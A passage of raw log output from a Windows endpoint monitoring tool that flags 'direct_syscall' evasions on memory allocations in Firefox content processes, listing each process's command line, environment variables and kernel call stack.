page_type➜ PRIVATE, pid➜ 18060, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 18060 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14344:48747 -prefMapHandle 14264:292858 -jsInitHandle 12920:224660 -parentBuildID 20251118022223 -ipcHandle 8932 -initialChannelId {80255201-3b0a-450c-8537-b3733d56666d} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 14400 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 43 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14344:48747 -prefMapHandle 14264:292858 -jsInitHandle 12920:224660 -parentBuildID 20251118022223 -ipcHandle 8932 -initialChannelId {80255201-3b0a-450c-8537-b3733d56666d} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 14400 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 43 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529522 + Pid: 18060 + Tid: 24320 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.6668884 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c0a19fa000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 18060, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 18060 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14344:48747 -prefMapHandle 14264:292858 -jsInitHandle 12920:224660 -parentBuildID 20251118022223 -ipcHandle 8932 -initialChannelId {80255201-3b0a-450c-8537-b3733d56666d} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 14400 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 43 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14344:48747 -prefMapHandle 14264:292858 -jsInitHandle 12920:224660 -parentBuildID 20251118022223 -ipcHandle 8932 -initialChannelId {80255201-3b0a-450c-8537-b3733d56666d} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 14400 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 43 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529521 + Pid: 16448 + Tid: 24312 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.6668869 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 4382fba000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 16448, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 16448 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10924:48747 -prefMapHandle 10928:292858 -jsInitHandle 10932:224660 -parentBuildID 20251118022223 -ipcHandle 10808 -initialChannelId {fb3a4a75-90a9-46e4-a1b6-14282dd5144a} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 11036 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 26 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10924:48747 -prefMapHandle 10928:292858 -jsInitHandle 10932:224660 -parentBuildID 20251118022223 -ipcHandle 10808 -initialChannelId {fb3a4a75-90a9-46e4-a1b6-14282dd5144a} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 11036 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 26 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529593 + Pid: 6608 + Tid: 8052 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.6977727 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ bc613fa000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 6608, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 6608 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 11356:48747 -prefMapHandle 11360:292858 -jsInitHandle 11364:224660 -parentBuildID 20251118022223 -ipcHandle 11372 -initialChannelId {8cd3c8d3-dad3-4c45-8bae-d5b7361b6a15} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 11464 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 30 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 11356:48747 -prefMapHandle 11360:292858 -jsInitHandle 11364:224660 -parentBuildID 20251118022223 -ipcHandle 11372 -initialChannelId {8cd3c8d3-dad3-4c45-8bae-d5b7361b6a15} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 11464 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 30 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files 